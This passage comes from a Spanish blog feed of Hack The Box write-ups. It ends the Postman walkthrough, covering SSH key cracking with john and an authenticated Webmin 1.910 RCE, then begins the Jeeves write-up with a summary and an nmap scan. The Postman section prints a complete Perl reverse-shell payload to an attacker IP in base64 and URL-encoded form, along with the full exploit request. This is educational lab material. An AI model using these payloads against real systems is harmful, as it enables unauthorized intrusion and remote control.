&lt;p&gt;El problema es que el usuario Matt no tiene permitido connectarse mediante SSH, ya que nos damos cuenta haciendo un cat a /etc/ssh/sshd_config, que era otro de los comandos ejecutados por el usuario redis.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/ssh/sshd_config
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BLA, BLA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#deny users&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DenyUsers Matt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BLA, BLA
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="cracking-de-clave-ssh"&gt;Cracking de Clave SSH&lt;/h3&gt;
&lt;p&gt;Igualmente utilizo &lt;code&gt;ssh2john&lt;/code&gt; para convertir la clave a un formato crackeable y luego &lt;code&gt;john&lt;/code&gt; con el diccionario &lt;em&gt;rockyou&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-80e8-99a7-deca88115975.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# ssh2john id_rsa &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;id_rsa&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;$sshng$0$8$73E9CEFBCCF5287C$1192$25e840e75235eebb0238e56ac96c7e0bcdfadc8381617435d43770fe9af72f6036343b41eedbec5cdcaa2838217d09d77301892540fd90a267889909cebbc5d567a9bcc3648fd648b5743360df306e396b92ed5b26ae719c95fd1146f923b936ec6b13c2c32f2b35e491f11941a5cafd3e74b3723809d71f6ebd5d5c8c9a6d72cba593a26442afaf8f8ac928e9e28bba71d9c25a1ce403f4f02695c6d5678e98cbed0995b51c206eb58b0d3fa0437fbf1b4069a6962aea4665df2c1f762614fdd6ef09cc7089d7364c1b9bda52dbe89f4aa03f1ef178850ee8b0054e8ceb37d306584a81109e73315aebb774c656472f132be55b092ced1fe08f11f25304fe6b92c21864a3543f392f162eb605b139429bb561816d4f328bb62c5e5282c301cf507ece7d0cf4dd55b2f8ad1a6bc42cf84cb0e97df06d69ee7b4de783fb0b26727bdbdcdbde4bb29bcafe854fbdbfa5584a3f909e35536230df9d3db68c90541d3576cab29e033e825dd153fb1221c44022bf49b56649324245a95220b3cae60ab7e312b705ad4add1527853535ad86df118f8e6ae49a3c17bee74a0b460dfce0683cf393681543f62e9fb2867aa709d2e4c8bc073ac185d3b4c0768371360f737074d02c2a015e4c5e6900936cca2f45b6b5d55892c2b0c4a0b01a65a5a5d91e3f6246969f4b5847ab31fa256e34d2394e660de3df310ddfc023ba30f062ab3aeb15c3cd26beff31c40409be6c7fe3ba8ca13725f9f45151364157552b7a042fa0f26817ff5b677fdd3eead7451decafb829ddfa8313017f7dc46bafaac7719e49b248864b30e532a1779d39022507d939fcf6a34679c54911b8ca789fef1590b9608b10fbdb25f3d4e62472fbe18de29776170c4b108e1647c57e57fd1534d83f80174ee9dc14918e10f7d1c8e3d2eb9690aa30a68a3463479b96099dee8d97d15216aec90f2b823b207e606e4af15466fff60fd6dae6b50b736772fdcc35c7f49e5235d7b052fd0c0db6e4e8cc6f294bd937962fab62be9fde66bf50bb149ca89996cf12a54f91b1aa2c2c6299ea9da821ef284529a5382b18d080aaede451864bb352e1fdcff981a36b505a1f2abd3a024848e0f3234ef73f3e2dda0dd7041630f695c11063232c423c7153277bbe671cb4b483f08c266fc547d89ff2b81551dabef03e6fd968a67502100111a7022ff3eb58a1fc065692d50b40eb379f155d37c1d97f6c2f5a01de13b8989174677c89d8a644758c071aea8d4c56a0374801732348db0b3164dcc82b6eaf3eb3836fa05cf5476258266a30a531e1a3132e11b944e8e0406cad59ffeaecc1ab3b7705db99353c458dc9932a638598b195e25a14051e414e20dc1510eb476a467f4e861a51036d453ea96721e0be34f4993a34b778d4111b29a63d69c1b8200869a129392684af8c4daa32f3d0a0d17c36275f039b4a3bf29e9436b912b9ed42b168c47c4205dcd00c114da8f8d82af761e69e900545eb6fc10ef1ba4934adb6fa9af17c812a8b420ed6a5b645cad812d394e93d93ccd21f2d444f1845d261796ad055c372647f0e1d8a844b8836505eb62a9b6da92c0b8a2178bad1eafbf879090c2c17e25183cf1b9f1876cf6043ea2e565fe84ae473e9a7a4278d9f00e4446e50419a641114bc626d3c61e36722e9932b4c8538da3ab44d63
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# ssh2john id_rsa &amp;gt; id_rsa.hash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# john --wordlist=/usr/share/wordlists/seclists/rockyou.txt id_rsa.hash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;computer2008 (id_rsa)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tenemos contraseña! &lt;code&gt;computer2008&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Probamos mediante SSH sabiendo que no va a funcionar, y efectivamente no podemos entrar, pero viendo que redis usaba su Matt.
Sin embargo, como ya estoy dentro como &lt;code&gt;redis&lt;/code&gt;, puedo cambiar de usuario localmente usando la contraseña crackeada.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-80fa-8af4-c800edadd5cf.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Bingo!&lt;/p&gt;
&lt;p&gt;Consigo la &lt;strong&gt;user flag&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="elevación-de-privilegios"&gt;Elevación de privilegios&lt;/h3&gt;
&lt;p&gt;Al enumerar los permisos de sudo de Matt, veo que no tiene acceso a nada interesante. Sin embargo, recordamos el puerto 10000 (Webmin). Pruebo las credenciales &lt;code&gt;Matt:computer2008&lt;/code&gt; en el panel de login y logro acceder.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-8087-b40c-d85ef56bef77.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Estamos dentro.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-807e-88ab-d34e04243bca.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La versión 1.910 de Webmin es vulnerable a RCE autenticado en el endpoint de actualizaciones de paquetes. La vulnerabilidad reside en el parámetro &lt;code&gt;u&lt;/code&gt; del script &lt;code&gt;/package-updates/update.cgi&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Preparo un payload en Perl para establecer una reverse shell, lo codifico en Base64 y lo inyecto en la petición HTTP.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo -n &lt;span style="color:#e6db74"&gt;&amp;#34;perl -MIO -e &amp;#39;\&lt;/span&gt;$p&lt;span style="color:#e6db74"&gt;=fork;exit,if(\&lt;/span&gt;$p&lt;span style="color:#e6db74"&gt;);\&lt;/span&gt;$c&lt;span style="color:#e6db74"&gt;=new IO::Socket::INET(PeerAddr,\&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.15.&lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4444&lt;/span&gt;\&lt;span style="color:#e6db74"&gt;&amp;#34;);STDIN-&amp;gt;fdopen(\&lt;/span&gt;$c&lt;span style="color:#e6db74"&gt;,r);\$~-&amp;gt;fdopen(\&lt;/span&gt;$c&lt;span style="color:#e6db74"&gt;,w);system\&lt;/span&gt;$_&lt;span style="color:#e6db74"&gt; while&amp;lt;&amp;gt;;&amp;#39;&amp;#34;&lt;/span&gt; | base64 -w &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| bash -c &lt;span style="color:#e6db74"&gt;&amp;#34;{echo,cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==}|{base64,-d}|{bash,-i}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lo URL Encodeamos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C+bash+-c+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Becho&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2BZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Bbase64&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2C-d&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Bbash&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2C-i&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;0A
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Al enviar la petición, recibo una conexión inversa en mi listener como el usuario &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;POST /package-updates/update.cgi HTTP/&lt;span style="color:#ae81ff"&gt;1.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Cookie&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; redirect=&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; testing=&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;; sid=af122636c747c504f006f91e9b600aae
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User-Agent&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Mozilla/&lt;span style="color:#ae81ff"&gt;5.0&lt;/span&gt; (X11; Linux x86_64; rv&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;128.0&lt;/span&gt;) Gecko/&lt;span style="color:#ae81ff"&gt;20100101&lt;/span&gt; Firefox/&lt;span style="color:#ae81ff"&gt;128.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; */*
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept-Language&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; en-US,en;q=&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Accept-Encoding&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; gzip, deflate, br
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Content-Type&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; application/x-www-form-urlencoded; charset=UTF-&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Progressive-Url: https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;/package-updates/update.cgi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Requested-From: package-updates
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Requested-From-Tab: webmin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;X-Requested-With: XMLHttpRequest
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Content-Length&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;289&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Origin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Referer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;/package-updates/update.cgi&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;xnavigation=&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sec-Fetch-Dest: empty
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sec-Fetch-Mode: cors
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Sec-Fetch-Site: same-origin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Priority&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; u=&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Te&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; trailers
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connection&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;u=acl&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2Fapt&amp;amp;u=+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C+bash+-c+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Becho&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2BZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Bbase64&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2C-d&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;7Bbash&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2C-i&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;+&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0D&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;0A
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Rooted.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-80e4-b86a-c509d9d64746.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Jeeves (Medium)</title><link>https://synacklabs.github.io/posts/jeeves/</link><pubDate>Tue, 20 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/jeeves/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Jeeves es una máquina Windows que requiere enumerar servicios web no estándar. El punto de entrada es una instancia de &lt;strong&gt;Jenkins&lt;/strong&gt; mal configurada que permite ejecución de código remota (RCE) a través de la consola de scripts de &lt;strong&gt;Groovy&lt;/strong&gt;. La escalada de privilegios implica la exfiltración y el craqueo de una base de datos de &lt;strong&gt;KeePass&lt;/strong&gt; (&lt;code&gt;.kdbx&lt;/code&gt;). Finalmente, el acceso a la flag de &lt;code&gt;root&lt;/code&gt; presenta un reto que no había visto nunca: está oculta utilizando &lt;strong&gt;Alternate Data Streams (ADS)&lt;/strong&gt; de NTFS, lo que requiere conocimiento sobre cómo Windows gestiona los metadatos de archivos.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Jeeves es una máquina Windows que requiere enumerar servicios web no estándar. El punto de entrada es una instancia de &lt;strong&gt;Jenkins&lt;/strong&gt; mal configurada que permite ejecución de código remota (RCE) a través de la consola de scripts de &lt;strong&gt;Groovy&lt;/strong&gt;. La escalada de privilegios implica la exfiltración y el craqueo de una base de datos de &lt;strong&gt;KeePass&lt;/strong&gt; (&lt;code&gt;.kdbx&lt;/code&gt;). Finalmente, el acceso a la flag de &lt;code&gt;root&lt;/code&gt; presenta un reto que no había visto nunca: está oculta utilizando &lt;strong&gt;Alternate Data Streams (ADS)&lt;/strong&gt; de NTFS, lo que requiere conocimiento sobre cómo Windows gestiona los metadatos de archivos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80c3-82e1-ee4161eee2b1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;p&gt;Comenzamos con un escaneo de puertos para identificar servicios expuestos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft IIS httpd &lt;span style="color:#ae81ff"&gt;10.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-IIS/&lt;span style="color:#ae81ff"&gt;10.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OPTIONS TRACE GET HEAD POST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Potentially risky methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; TRACE
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Ask Jeeves
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;135&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; - &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; microsoft-ds (workgroup&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; WORKGROUP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;50000&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Jetty &lt;span style="color:#ae81ff"&gt;9.4&lt;/span&gt;.z-SNAPSHOT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Jetty(&lt;span style="color:#ae81ff"&gt;9.4&lt;/span&gt;.z-SNAPSHOT)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Error &lt;span style="color:#ae81ff"&gt;404&lt;/span&gt; Not Found
